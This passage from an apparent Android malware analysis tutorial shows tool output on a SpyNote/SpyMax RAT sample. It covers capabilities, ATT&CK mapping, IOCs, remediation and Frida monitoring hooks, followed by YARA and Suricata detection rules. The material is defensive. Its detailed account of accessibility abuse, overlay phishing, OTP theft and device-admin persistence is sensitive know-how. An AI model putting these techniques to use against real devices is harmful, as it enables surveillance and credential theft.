overlay-based credential phishing. The multi-language social engineering strings (Arabic, Russian, Chinese, Burmese, Turkish) indicate a globally distributed campaign targeting victims across multiple regions. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The APK package name
'elimination.kitchen.secured'
follows the randomized three-word pattern commonly generated by SpyNote builder tools. All component names under the subpackage
'pceudkwhpxxxosuyjcduknhpxugjttkfgpvmujxufydwbdhwri2.gdflvwzqcjwsyigjsmgjolyskkyyhnfrhdsyyrxpmdzmoavvhj6'
exhibit extreme obfuscation │
│ with long random consonant strings appended with short alphanumeric suffixes — this is the signature naming convention of the SpyNote v6+ builder. Despite the obfuscation score reading
0
(likely a tool limitation), the component naming itself constitutes heavy obfuscation. │
│ │
│ The accessibility service component (service
'nSsAP24'
) implements
onAccessibilityEvent
()
and
contains references to button clicking (
'android:id/button1'
), deletion commands (
'silmek'
— Turkish for
'delete'
), action dispatching (
'[action]'
),
and
home accessibility updates (
'updateHomeAccessibility'
). This │
│ service is the core of SpyNote's keylogging
and
UI automation capability — it monitors all foreground accessibility events, captures text input,
and
can programmatically click UI elements to auto-grant permissions, disable Play Protect,
and
interact with banking applications. │
│ │
│ The AdminReceiver component enables Device Administrator privileges, providing wipe-protection
and
making the malware extremely difficult to uninstall without factory reset. Combined with SYSTEM_ALERT_WINDOW for overlay attacks, READ_SMS/SEND_SMS for OTP interception
and
SMS fraud, RECORD_AUDIO for live │
│ microphone surveillance, CAMERA for covert photo/video capture,
and
ACCESS_FINE_LOCATION for GPS tracking, this sample implements the full SpyNote capability set. │
│ │
│ The YARA match for DexClassLoader-based dynamic loading combined with ClassLoader.
loadClass
() API calls indicates the sample may fetch
and
load additional DEX payloads at runtime — a common SpyNote technique for modular capability deployment. The emulator detection YARA match confirms anti-analysis measures. The │
│ certificate uses the default Android debug signing identity (android
@android
.com), which is characteristic of SpyNote builder output where operators do
not
bother with custom certificates. │
│ │
│ The high-entropy strings in Arabic (
'فتح نوافذ جديدة أثناء التشغيل في الخلفية'
=
'Open new windows while running in background'
,
'تمكين الإظهار فوق التطبيقات'
=
'Enable display over apps'
), Russian (
'Не оптимизировать'
=
'Do not optimize'
,
'Настройки системы'
=
'System settings'
), Chinese ('启用 Simple keyboard │
│ 以获得更好的性能
' = '
Enable Simple keyboard for better performance
'), and Burmese characters reveal the accessibility service'
s social engineering — it guides victims in multiple languages to grant overlay permissions, disable battery optimization,
and
enable the malicious accessibility service. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► Full remote device control (RAT) │
│ ► Accessibility-based keylogging
and
UI automation │
│ ► SMS interception
and
OTP theft │
│ ► Premium-rate SMS fraud │
│ ► Real-time audio surveillance (microphone recording) │
│ ► Camera capture (photo/video) │
│ ► GPS location tracking │
│ ► Overlay/webinject credential phishing │
│ ► Device Administrator abuse for persistence │
│ ► Call log
and
contact harvesting │
│ ► Dynamic DEX loading for modular payload deployment │
│ ► Emulator/sandbox detection │
│ ► File system access (read/write external storage) │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1629.
001
Impair
Defenses
: Prevent Defense Evasion AdminReceiver device administrator prevents uninstallation;
Application Removal
T1417.
001
Input
Capture
: Keylogging Collection Accessibility service (nSsAP24) with onAccessibilityEvent ha
T1417.
002
Input
Capture
: GUI Input Collection Overlay capability via SYSTEM_ALERT_WINDOW permission for ph
Capture
T1636.
004
Protected User
Data
: SMS Collection READ_SMS permission for OTP interception; SEND_SMS for premi
Messages
T1429 Audio Capture Collection RECORD_AUDIO permission enables real-time microphone surveil
T1512 Video Capture Collection CAMERA permission for covert photo/video capture
T1430 Location Tracking Collection ACCESS_FINE_LOCATION + LocationManager.getLastKnownLocation
T1636.
002
Protected User
Data
: Call Logs Collection READ_CALL_LOG permission for call history exfiltration
T1636.
003
Protected User
Data
: Contact Collection READ_CONTACTS permission for contact harvesting
List
T1544 Ingress Tool Transfer Command
and
Control DexClassLoader dynamic DEX loading confirmed by YARA for dow
T1633.
001
Virtualization/Sandbox Defense Evasion Emulator detection confirmed by YARA AntiAnalysis_EmulatorCh

Evasion
: System Checks
T1626.
001
Abuse Elevation Control Privilege Escalation AdminReceiver component explicitly registered for device adm

Mechanism
: Device
Administrator

╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07 │
│ •
md5
:b2c5e29222f57cf91d30d37b8ec54cc3 │
│ •
package
:elimination.kitchen.secured │
│ •
app_name
:GoosApp │
│ •
cert_sha256
:
465983
f7791f2abeb43ea2cbdc7f21a8260b72bc08a55c839fc1a43bc741a81e │
│ •
receiver
:elimination.kitchen.AdminReceiver │
│ •
accessibility_service
:gdflvwzqcjwsyigjsmgjolyskkyyhnfrhdsyyrxpmdzmoavvhj6nSsAP24 │
│ •
dns
:
1.1
.
1.1

│ •
dns
:
1.0
.
0.1

│ •
dns
:
8.8
.
8.8

│ •
dns
:
8.8
.
4.4

│ •
family
:SpyNote/SpyMax │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1
.
1
. IMMEDIATELY boot into Safe Mode
and
navigate to Settings → Security → Device Administrators. Deactivate the AdminReceiver to allow uninstallation. │

2
.
2
. If device admin cannot be deactivated, perform a FACTORY RESET — SpyNote's accessibility service will auto-reactivate admin if attempted in normal mode. │

3
.
3
. Change ALL passwords for banking, email, social media,
and
any other accounts accessed from the device — assume all credentials are compromised. │

4
.
4
. Contact your bank immediately to report potential OTP interception
and
request temporary account freeze
and
new
2
FA tokens. │

5
.
5
. Check SMS history for unauthorized premium-rate messages
and
dispute charges with carrier. │

6
.
6
.
Scan
all other devices on the same network — SpyNote operators often target multiple devices. │

7
.
7
. Report the APK hash to Google Play Protect via the Android Security team. │

8
.
8
. Enable Google Play Protect
and
ensure
'Scan apps with Play Protect'
is re-enabled (SpyNote may have disabled it). │

9
.
9
. Consider the device physically compromised for location data — if personal safety is a concern, assume your location history has been tracked. │

10
.
10
. File a report with local law enforcement cybercrime unit including the SHA256 hash
and
any distribution URL. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1

// SpyNote/SpyMax RAT Frida Hook Suite for elimination.kitchen.secured │

2

// Run: frida -U -f elimination.kitchen.secured -l spynote_hooks.js --no-pause │

3


4
Java.
perform
(
function
() { │

5
console.
log
(
'[*] SpyNote/SpyMax Frida Hook Suite Loaded'
); │

6
console.
log
(
'[*] Target: elimination.kitchen.secured (GoosApp)'
); │

7


8

// ============================================================ │

9

// HOOK 1: Accessibility Service - Capture all accessibility events │

10

// The core keylogging/UI automation service (nSsAP24) │

11

// ============================================================ │

12
try { │

13
var AccessibilityService = Java.
use
(
'android.accessibilityservice.AccessibilityService'
); │

14
AccessibilityService.onAccessibilityEvent.implementation =
function
(event) { │

15
if (event != null) { │

16
var eventType = event.
getEventType
(); │

17
var packageName = event.
getPackageName
(); │

18
var text = event.
getText
(); │

19
var className = event.
getClassName
(); │

20
console.
log
(
'[ACCESSIBILITY] Type: '
+ eventType + │

21

' | Pkg: '
+ packageName + │

22

' | Class: '
+ className + │

23

' | Text: '
+ text); │

24

// Log TYPE_VIEW_TEXT_CHANGED (keylogging) │

25
if (eventType ===
16
) { │

26
console.
log
(
'[KEYLOG] Text changed in '
+ packageName +
': '
+ text); │

27
} │

28
} │

29
this.
onAccessibilityEvent
(event); │

30
}; │

31
console.
log
(
'[+] Hooked AccessibilityService.onAccessibilityEvent'
); │

32
}
catch
(e) { │

33
console.
log
(
'[-] AccessibilityService hook failed: '
+ e); │

34
} │

35


36

// ============================================================ │

37

// HOOK 2: GestureDescription.Builder - Detect programmatic taps │

38

// SpyNote uses this to auto-click UI elements │

39

// ============================================================ │

40
try { │

41
var GestureBuilder = Java.
use
(
'android.accessibilityservice.GestureDescription$Builder'
); │

42
GestureBuilder.build.implementation =
function
() { │

43
console.
log
(
'[GESTURE] GestureDescription.Builder.build() called - SpyNote automating UI interaction'
); │

44
console.
log
(
'[GESTURE] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

45
return this.
build
(); │

46
}; │

47
console.
log
(
'[+] Hooked GestureDescription.Builder.build'
); │

48
}
catch
(e) { │

49
console.
log
(
'[-] GestureBuilder hook failed: '
+ e); │

50
} │

51


52

// ============================================================ │

53

// HOOK 3: SMS Interception - Capture all SMS read/send operations │

54

// SpyNote steals OTPs and sends premium-rate SMS │

55

// ============================================================ │

56
try { │

57
var SmsManager = Java.
use
(
'android.telephony.SmsManager'
); │

58
SmsManager.sendTextMessage.
overload
(
'java.lang.String'
,
'java.lang.String'
,
'java.lang.String'
,
'android.app.PendingIntent'
,
'android.app.PendingIntent'
).implementation =
function
(dest, sc, text, sentIntent, deliveryIntent) { │

59
console.
log
(
'[SMS-SEND] Destination: '
+ dest +
' | Text: '
+ text); │

60
console.
log
(
'[SMS-SEND] WARNING: Possible premium-rate SMS fraud!'
); │

61

// Block the SMS send to prevent financial damage │

62

// Uncomment next line to block: return; │

63
this.
sendTextMessage
(dest, sc, text, sentIntent, deliveryIntent); │

64
}; │

65
console.
log
(
'[+] Hooked SmsManager.sendTextMessage'
); │

66
}
catch
(e) { │

67
console.
log
(
'[-] SmsManager hook failed: '
+ e); │

68
} │

69


70

// ============================================================ │

71

// HOOK 4: Overlay/Window Injection - Capture phishing overlays │

72

// Detects when SpyNote draws over banking apps │

73

// ============================================================ │

74
try { │

75
var WindowManager = Java.
use
(
'android.view.WindowManager$LayoutParams'
); │

76
var WindowManagerImpl = Java.
use
(
'android.view.WindowManagerImpl'
); │

77
WindowManagerImpl.addView.implementation =
function
(view, params) { │

78
if (params != null) { │

79
var type = params.type.value; │

80
var flags = params.flags.value; │

81
console.
log
(
'[OVERLAY] WindowManager.addView() | Type: '
+ type +
' | Flags: '
+ flags); │

82
if (type ===
2038
|| type ===
2002
|| type ===
2010
) { │

83
console.
log
(
'[OVERLAY] ALERT: System overlay window created - possible phishing injection!'
); │

84
console.
log
(
'[OVERLAY] View class: '
+ view.
getClass
().
getName
()); │

85
} │

86
} │

87
this.
addView
(view, params); │

88
}; │

89
console.
log
(
'[+] Hooked WindowManagerImpl.addView'
); │

90
}
catch
(e) { │

91
console.
log
(
'[-] WindowManager hook failed: '
+ e); │

92
} │

93


94

// ============================================================ │

95

// HOOK 5: Audio Recording - Detect microphone surveillance │

96

// ============================================================ │

97
try { │

98
var MediaRecorder = Java.
use
(
'android.media.MediaRecorder'
); │

99
MediaRecorder.start.implementation =
function
() { │

100
console.
log
(
'[AUDIO] MediaRecorder.start() - Microphone recording initiated!'
); │

101
console.
log
(
'[AUDIO] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

102
this.
start
(); │

103
}; │

104
console.
log
(
'[+] Hooked MediaRecorder.start'
); │

105


106
var AudioRecord = Java.
use
(
'android.media.AudioRecord'
); │

107
AudioRecord.startRecording.implementation =
function
() { │

108
console.
log
(
'[AUDIO] AudioRecord.startRecording() - Low-level audio capture started!'
); │

109
this.
startRecording
(); │

110
}; │

111
console.
log
(
'[+] Hooked AudioRecord.startRecording'
); │

112
}
catch
(e) { │

113
console.
log
(
'[-] Audio hook failed: '
+ e); │

114
} │

115


116

// ============================================================ │

117

// HOOK 6: Camera Capture - Detect covert photography │

118

// ============================================================ │

119
try { │

120
var Camera = Java.
use
(
'android.hardware.Camera'
); │

121
Camera.open.
overload
(
'int'
).implementation =
function
(cameraId) { │

122
console.
log
(
'[CAMERA] Camera.open(id='
+ cameraId +
') - Covert camera access!'
); │

123
return this.
open
(cameraId); │

124
}; │

125
console.
log
(
'[+] Hooked Camera.open'
); │

126
}
catch
(e) { │

127
console.
log
(
'[-] Camera hook failed: '
+ e); │

128
} │

129


130
try { │

131
var CameraManager = Java.
use
(
'android.hardware.camera2.CameraManager'
); │

132
CameraManager.openCamera.
overload
(
'java.lang.String'
,
'android.hardware.camera2.CameraDevice$StateCallback'
,
'android.os.Handler'
).implementation =
function
(cameraId, callback, handler) { │

133
console.
log
(
'[CAMERA2] CameraManager.openCamera(id='
+ cameraId +
') - Camera2 API access!'
); │

134
this.
openCamera
(cameraId, callback, handler); │

135
}; │

136
console.
log
(
'[+] Hooked CameraManager.openCamera'
); │

137
}
catch
(e) { │

138
console.
log
(
'[-] Camera2 hook failed: '
+ e); │

139
} │

140


141

// ============================================================ │

142

// HOOK 7: Location Tracking - Capture GPS exfiltration │

143

// ============================================================ │

144
try { │

145
var LocationManager = Java.
use
(
'android.location.LocationManager'
); │

146
LocationManager.getLastKnownLocation.implementation =
function
(provider) { │

147
var location = this.
getLastKnownLocation
(provider); │

148
if (location != null) { │

149
console.
log
(
'[LOCATION] getLastKnownLocation('
+ provider +
') = Lat: '
+ │

150
location.
getLatitude
() +
', Lon: '
+ location.
getLongitude
()); │

151
} │

152
return location; │

153
}; │

154
console.
log
(
'[+] Hooked LocationManager.getLastKnownLocation'
); │

155
}
catch
(e) { │

156
console.
log
(
'[-] Location hook failed: '
+ e); │

157
} │

158


159

// ============================================================ │

160

// HOOK 8: Dynamic Class Loading - Detect payload drops │

161

// SpyNote loads additional DEX modules at runtime │

162

// ============================================================ │

163
try { │

164
var DexClassLoader = Java.
use
(
'dalvik.system.DexClassLoader'
); │

165
DexClassLoader.$init.implementation =
function
(dexPath, optimizedDir, librarySearchPath, parent) { │

166
console.
log
(
'[DEX-LOAD] DexClassLoader loading: '
+ dexPath); │

167
console.
log
(
'[DEX-LOAD] Optimized dir: '
+ optimizedDir); │

168
this.$
init
(dexPath, optimizedDir, librarySearchPath, parent); │

169
}; │

170
console.
log
(
'[+] Hooked DexClassLoader.$init'
); │

171


172
var ClassLoader = Java.
use
(
'java.lang.ClassLoader'
); │

173
ClassLoader.loadClass.
overload
(
'java.lang.String'
).implementation =
function
(name) { │

174
if (name.
indexOf
(
'elimination.kitchen'
) !== -
1
) { │

175
console.
log
(
'[CLASS-LOAD] Loading: '
+ name); │

176
} │

177
return this.
loadClass
(name); │

178
}; │

179
console.
log
(
'[+] Hooked ClassLoader.loadClass'
); │

180
}
catch
(e) { │

181
console.
log
(
'[-] ClassLoader hook failed: '
+ e); │

182
} │

183


184

// ============================================================ │

185

// HOOK 9: Network Connections - Capture C2 communications │

186

// SpyNote uses raw TCP sockets for C2 │

187

// ============================================================ │

188
try { │

189
var Socket = Java.
use
(
'java.net.Socket'
); │

190
Socket.$init.
overload
(
'java.lang.String'
,
'int'
).implementation =
function
(host, port) { │

191
console.
log
(
'[C2-SOCKET] Socket connecting to: '
+ host +
':'
+ port); │

192
this.$
init
(host, port); │

193
}; │

194
Socket.$init.
overload
(
'java.net.InetAddress'
,
'int'
).implementation =
function
(addr, port) { │

195
console.
log
(
'[C2-SOCKET] Socket connecting to: '
+ addr.
getHostAddress
() +
':'
+ port); │

196
this.$
init
(addr, port); │

197
}; │

198
console.
log
(
'[+] Hooked Socket.$init'
); │

199


200
var URL = Java.
use
(
'java.net.URL'
); │

201
URL.$init.
overload
(
'java.lang.String'
).implementation =
function
(url) { │

202
console.
log
(
'[NET-URL] URL created: '
+ url); │

203
this.$
init
(url); │

204
}; │

205
console.
log
(
'[+] Hooked URL.$init'
); │

206
}
catch
(e) { │

207
console.
log
(
'[-] Network hook failed: '
+ e); │

208
} │

209


210

// ============================================================ │

211

// HOOK 10: Reflection Calls - Detect hidden API invocations │

212

// SpyNote uses reflection to evade static analysis │

213

// ============================================================ │

214
try { │

215
var Method = Java.
use
(
'java.lang.reflect.Method'
); │

216
Method.invoke.implementation =
function
(obj, args) { │

217
var methodName = this.
getName
(); │

218
var className = this.
getDeclaringClass
().
getName
(); │

219
if (className.
indexOf
(
'elimination'
) !== -
1
|| className.
indexOf
(
'android.app.admin'
) !== -
1
) { │

220
console.
log
(
'[REFLECT] '
+ className +
'.'
+ methodName +
'() invoked via reflection'
); │

221
if (args != null) { │

222
for (var i =
0
; i < args.length; i++) { │

223
console.
log
(
'[REFLECT] arg['
+ i +
']: '
+ args[i]); │

224
} │

225
} │

226
} │

227
return this.
invoke
(obj, args); │

228
}; │

229
console.
log
(
'[+] Hooked Method.invoke'
); │

230
}
catch
(e) { │

231
console.
log
(
'[-] Reflection hook failed: '
+ e); │

232
} │

233


234

// ============================================================ │

235

// HOOK 11: Device Admin - Detect admin privilege abuse │

236

// ============================================================ │

237
try { │

238
var DevicePolicyManager = Java.
use
(
'android.app.admin.DevicePolicyManager'
); │

239
DevicePolicyManager.lockNow.implementation =
function
() { │

240
console.
log
(
'[ADMIN] DevicePolicyManager.lockNow() called - Screen lock attack!'
); │

241
this.
lockNow
(); │

242
}; │

243
DevicePolicyManager.resetPassword.
overload
(
'java.lang.String'
,
'int'
).implementation =
function
(password, flags) { │

244
console.
log
(
'[ADMIN] resetPassword called with: '
+ password +
' | flags: '
+ flags); │

245
return this.
resetPassword
(password, flags); │

246
}; │

247
DevicePolicyManager.wipeData.
overload
(
'int'
).implementation =
function
(flags) { │

248
console.
log
(
'[ADMIN] CRITICAL: wipeData() called! Device wipe attempted! Flags: '
+ flags); │

249

// Block the wipe to preserve evidence │

250

// this.wipeData(flags); │

251
console.
log
(
'[ADMIN] BLOCKED device wipe for forensic preservation'
); │

252
}; │

253
console.
log
(
'[+] Hooked DevicePolicyManager (lockNow, resetPassword, wipeData)'
); │

254
}
catch
(e) { │

255
console.
log
(
'[-] DevicePolicyManager hook failed: '
+ e); │

256
} │

257


258

// ============================================================ │

259

// HOOK 12: SharedPreferences - Capture config/token storage │

260

// SpyNote stores C2 config and tokens in SharedPreferences │

261

// ============================================================ │

262
try { │

263
var SharedPreferencesEditor = Java.
use
(
'android.app.SharedPreferencesImpl$EditorImpl'
); │

264
SharedPreferencesEditor.putString.implementation =
function
(key, value) { │

265
if (key ===
'token'
|| key.
indexOf
(
'c2'
) !== -
1
|| key.
indexOf
(
'server'
) !== -
1
|| key.
indexOf
(
'host'
) !== -
1
|| key.
indexOf
(
'port'
) !== -
1
) { │

266
console.
log
(
'[CONFIG] SharedPreferences.putString("'
+ key +
'", "'
+ value +
'")'
); │

267
} │

268
return this.
putString
(key, value); │

269
}; │

270
console.
log
(
'[+] Hooked SharedPreferences.putString'
); │

271
}
catch
(e) { │

272
console.
log
(
'[-] SharedPreferences hook failed: '
+ e); │

273
} │

274


275
console.
log
(
'[*] All hooks installed. Monitoring SpyNote/SpyMax RAT activity...'
); │

276
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/elimination_kitchen_secured_20260330_113737.json
✓ Frida
script
: reports/elimination_kitchen_secured_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
124.1s
JSON
Report
: reports/elimination_kitchen_secured_20260330_113737.json
Frida
Script
: reports/elimination_kitchen_secured_frida_hooks.js
11
:
37
:
37
(base) andrey
@andrey-lab
android_malware_analysis ±|main ✗|→

Detection Engineering: YARA Rules and IOC Extraction

Classic vs Tool-Based Detection

YARA Rules for Android Malware

YARA can scan APKs and DEX files. Because APKs are ZIP archives, YARA cannot natively decompress them — strings inside compressed ZIP entries may not match. Always extract first, then scan the DEX files directly.

> These rules are illustrative heuristics , not high-confidence family-detection signatures. The string patterns (permission names, class names) are broad and will generate false positives against legitimate apps. Treat them as a starting point for triage, not attribution.

// yara-rules/android_banking_trojan.yar
rule FluBot_Indicators {
meta:
description =
"Detects FluBot banking trojan indicators"
author =
"Analysis Team"
date =
"2022-01-01"
reference =
"https://www.europol.europa.eu/media-press/newsroom/news/8-arrested-in-spain"
strings:

// FluBot uses Accessibility to detect target apps

$accessibility_config
=
"android.accessibilityservice.AccessibilityService"
ascii

$system_alert
=
"android.permission.SYSTEM_ALERT_WINDOW"
ascii

$sms_send
=
"android.permission.SEND_SMS"
ascii

$boot_receive
=
"android.intent.action.BOOT_COMPLETED"
ascii

// FluBot DGA characteristics in code

$dga_pattern1
=
"hashCode"
ascii

$md5_string
=
"MD5"
ascii

// Common overlay activity pattern

$overlay_type
=
"TYPE_APPLICATION_OVERLAY"
ascii
condition:

$accessibility_config

and

$system_alert

and

$sms_send

and

$boot_receive

and
(
$overlay_type

or
(
$dga_pattern1

and

$md5_string
))
}
rule SpyNote_RAT {
meta:
description =
"Detects SpyNote/SpyMax RAT characteristics"
author =
"Analysis Team"
date =
"2023-01-01"
strings:

// SpyNote's broad permission + TCP RAT signature

$camera
=
"android.permission.CAMERA"
ascii

$microphone
=
"android.permission.RECORD_AUDIO"
ascii

$location
=
"android.permission.ACCESS_FINE_LOCATION"
ascii

$notification_listener
=
"android.service.notification.NotificationListenerService"
ascii

$device_admin
=
"android.permission.BIND_DEVICE_ADMIN"
ascii

// SpyNote custom TCP socket pattern

$socket_class
=
"java.net.Socket"
ascii

$data_streams
=
"java.io.DataInputStream"
ascii

// SpyNote keylog via Accessibility

$accessibility
=
"android.accessibilityservice.AccessibilityService"
ascii

$text_changed
=
"TYPE_VIEW_TEXT_CHANGED"
ascii
condition:

$camera

and

$microphone

and

$location

and

$notification_listener

and

$device_admin

and

$socket_class

and

$data_streams

and

$accessibility

and

$text_changed
}
rule Cerberus_Indicators {
meta:
description =
"Detects Cerberus banking trojan patterns"
author =
"Analysis Team"
date =
"2022-01-01"
reference =
"Source code leaked August 2020"
strings:

// Cerberus C2 protocol indicators

$gate_php
=
"/gate.php"
ascii

$rc4_pattern
=
"RC4"
ascii nocase

$base64_decode
=
"Base64"
ascii

// Cerberus 2FA bypass

$authenticator_pkg
=
"com.google.android.apps.authenticator2"
ascii

// Cerberus screen recording

$media_projection
=
"android.media.projection.MediaProjectionManager"
ascii

// Device admin for persistence

$device_admin
=
"android.permission.BIND_DEVICE_ADMIN"
ascii
condition:

$gate_php

and
(
$rc4_pattern

or

$base64_decode
)
and

$authenticator_pkg

and
(
$media_projection

or

$device_admin
)
}
# Extract APK and run YARA against DEX files
unzip malware.apk -d malware_extracted/
yara -r yara-rules/android_banking_trojan.yar malware_extracted/
# Scanning the APK directly may miss strings inside compressed entries;
# extracting first ensures DEX content is fully visible to YARA.

With analyzer.py:

# YARA runs automatically as Phase 3 of the analysis pipeline
python analyzer.py analyze malware.apk --no-ai
# YARA matches appear in the terminal output and in the JSON report:
# reports/<package>_<timestamp>.json → field: "yara_matches"

Article image


"yara_matches"
:

[

{

"rule"
:

"Dropper_DexClassLoader"
,

"source"
:

"classes.dex"
,

"tags"
:

[
]
,

"meta"
:

{

"description"
:

"Dynamic DEX loading - dropper/loader behavior"
,

"severity"
:

"HIGH"
,

"category"
:

"Dropper"
,

"mitre"
:

"T1544"

}
,

"strings"
:

[

"DexClassLoader"
,

"http"
,

"https"
,

"Base64"

]

}
,

{

"rule"
:

"NotificationStealer_OTP"
,

"source"
:

"classes.dex"
,

"tags"
:

[
]
,

"meta"
:

{

"description"
:

"Notification listener stealing OTP codes"
,

"severity"
:

"CRITICAL"
,

"category"
:

"Banking Trojan"
,

"mitre"
:

"T1412"

}
,

"strings"
:

[

"getActiveNotifications"
,

"otp"
,

"OTP"
,

"OTp"

]

}
,

{

"rule"
:

"SMSFraud_Joker"
,

"source"
:

"classes.dex"
,

"tags"
:

[
]
,

"meta"
:

{

"description"
:

"Joker/Bread subscription fraud - WebView enrollment + DEX dropper"
,

"severity"
:

"HIGH"
,

"category"
:

"SMS Fraud"
,

"mitre"
:

"T1582"
,

"family"
:

"Joker"

}
,

"strings"
:

[

"DexClassLoader"
,

"WebView"
,

"loadUrl"
,

"evaluateJavascript"
,

"subscribe"
,

"SUBSCRIBE"
,

"premium"
,

"BILLING"

]

}

]
,

The tool ships with 20 YARA rules covering: banking trojans (Anubis, Cerberus), droppers (DexClassLoader, silent install), spyware (audio+location, SMS stealer), stalkerware, ransomware (device admin, file encryption), SMS fraud (Joker), Telegram/Discord C2, OTP notification stealing, overlay phishing, anti-analysis (emulator checks), and RAT signatures (Metasploit). Rules scan the full APK binary plus each internal DEX,.so,.jar, and embedded APK.

To add your own rules to the tool’s scanning pipeline, place them inrules/malware.yarusing the same YARA format as the illustrative rules above.

IOC Extraction Checklist

After completing your analysis, extract and document the following:

#
1. File hashes
sha256sum malware.apk
md5sum malware.apk
#
2. Certificate fingerprint
openssl pkcs7 -in malware_extracted/META-INF/CERT.RSA \
-inform DER -print_certs | openssl x509 -noout -fingerprint -sha256
#
3. Package name and version
aapt dump badging malware.apk | grep -E "package:|versionName:|versionCode:"
#
4. C2 infrastructure (from strings + dynamic analysis)
#
- IP addresses
#
- Domains (static + DGA)
#
- URLs / endpoints
#
- Ports
#
5. Network signatures
#
- HTTP User-Agent strings
#
- URI patterns (/gate.php, /panel/, etc.)
#
- Custom protocol port numbers
#
6. Host indicators
#
- Package names (malware + dropped files)
#
- Service names
#
- Receiver names
#
- File paths created (/data/data/pkg/, /sdcard/)
#
- SharedPreferences keys
#
7. Behavioral indicators
#
- Permissions requested (especially dangerous combos)
#
- Accessibility Service:
yes
/no
#
- Device Admin:
yes
/no
#
- Boot persistence:
yes
/no
#
- Target app list (
for
overlay attacks)

With analyzer.py:

# All IOCs are extracted automatically and written to the JSON report
python analyzer.py analyze malware.apk
# Extract IOC list from JSON:
python3 -c "
import json, sys
with open('reports/<package>_<timestamp>.json') as f:
report = json.load(f)
for ioc in report.get('ioc_list', []):
print(ioc)
"
# Extract ATT&CK mapping:
python3 -c "
import json
with open('reports/<package>_<timestamp>.json') as f:
report = json.load(f)
for t in report.get('mitre_techniques', []):
print(t['id'], t['name'], '-', t['tactic'])
"

Article image

The AI-generated IOC list includes: file hashes, package names, domain/IP indicators, service names, certificate fingerprints, and behavioral signatures. The ATT&CK mapping is technique-specific with relevance notes for this sample.

Suricata Rules for Network Detection

# Detect SpyNote custom TCP protocol (initial device info beacon)
# The first packet typically starts with a JSON blob containing device info
alert tcp
$HOME_NET
any ->
$EXTERNAL_NET
[
5555
,
7777
,
8888
,
9999
] (
msg:
"Android RAT SpyNote-style Initial Beacon"
;
flow:established,to_server;
content:
"{"
;
content:
"device_id"
;
content:
"android_version"
;
sid:
9001001
; rev:
1
;
classtype:trojan-activity;
)
# Detect generic banking trojan C2 gate pattern
alert http
$HOME_NET
any ->
$EXTERNAL_NET

any
(

msg
:
"Android Banking Trojan /gate.php C2"
;

flow
:established,to_server;
http.method;
content
:
"POST"
;
http.uri;
content
:
"/gate.php"
;
http.request_body;
content
:
"p="
;

sid
:
9001002
;
rev
:
1
;

classtype
:command-
and
-control;
)
# Detect Cerberus/FluBot style RC4+Base64 POST
alert http
$HOME_NET
any ->
$EXTERNAL_NET

any
(

msg
:
"Possible Banking Trojan Encoded C2 POST"
;

flow
:established,to_server;
http.method;
content
:
"POST"
;
http.request_body;
content
:
"p="
;
http.request_body;
pcre
:
"/p=[A-Za-z0-9+\/]{50,}={0,2}/"
;

sid
:
9001003
;
rev
:
1
;

classtype
:command-
and
-control;
)

Reporting and Attribution

A completed Android malware analysis should produce a structured report. Here is the recommended framework:

Report Structure

ANDROID

MALWARE

ANALYSIS

REPORT
================================
Sample:
[
filename
]
|

SHA256:
[
hash
]
Analyst:
[
name
]
|

Date:
[
date
]
Classification:

Banking

Trojan

/

RAT

/

Spyware

/

Dropper
EXECUTIVE

SUMMARY
-----------------
One-paragraph non-technical summary:

what

the

malware

does,
who

it

targets,

how

it

spreads,

and

the

analyst's

confidence

level.
TECHNICAL

SUMMARY
-----------------
Malware Family:
[
FluBot

/

Cerberus

/

SpyNote

/

Unknown
]
Confidence:
[
High

/

Medium

/

Low
]
Target Platform:

Android
[
min

SDK
]

[
target

SDK
]
Distribution:
[
Smishing

/

Play

Store

/

Sideload

/

Other
]
Primary Capability:
[
Banking

Trojan

/

RAT

/

Spyware
]
STATIC

ANALYSIS
---------------
Package Name:

com.example.malware
Version:

1.0

